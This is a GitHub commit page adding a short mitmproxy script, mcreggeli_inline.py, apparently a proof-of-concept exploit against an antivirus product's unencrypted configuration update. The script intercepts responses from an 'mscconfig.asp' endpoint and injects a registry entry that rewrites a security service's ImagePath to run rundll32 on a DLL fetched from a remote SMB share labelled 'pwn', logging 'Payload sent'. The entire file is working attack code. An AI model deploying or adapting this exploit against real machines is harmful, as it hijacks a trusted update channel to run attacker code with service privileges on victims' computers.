Skip to content

Commit 29b639a

Browse files
authored
1 parent c385d0b commit 29b639a

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed

mcreggeli_inline.py

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#!/usr/bin/env python3
2+
#
3+
# HTTP proxy mode:
4+
# mitmproxy -s mcreggeli_inline.py --ignore '.*'
5+
#
6+
# Transparent proxy mode:
7+
# mitmproxy -s mcreggeli_inline.py -T --host
8+
#
9+
10+
from mitmproxy import ctx, http
11+
from lxml import etree
12+
13+
REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\\windows\\system32\\rundll32.exe \\\\172.16.205.1\\pwn\\test.dll,0"},]
14+
15+
def response(flow):
16+
if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:
17+
try:
18+
oxml=etree.XML(flow.response.content)
19+
oxml.set("frequency","1")
20+
update=oxml.xpath("//webservice-response/update")[0]
21+
for r in REG:
22+
reg=etree.SubElement(update,"reg")
23+
reg.set("key", r["key"])
24+
reg.set("type", r["type"])
25+
reg.set("obfuscate", "0")
26+
reg.set("name", r["name"])
27+
reg.set("value", r["value"])
28+
#ctx.log(etree.tostring(oxml))
29+
flow.response.content=etree.tostring(oxml)
30+
ctx.log("[+] [MCREGGELI] Payload sent")
31+
except etree.XMLSyntaxError:
32+
ctx.log("[-] [MCREGGELI] XML deserialization error")

0 commit comments

Comments
 (0)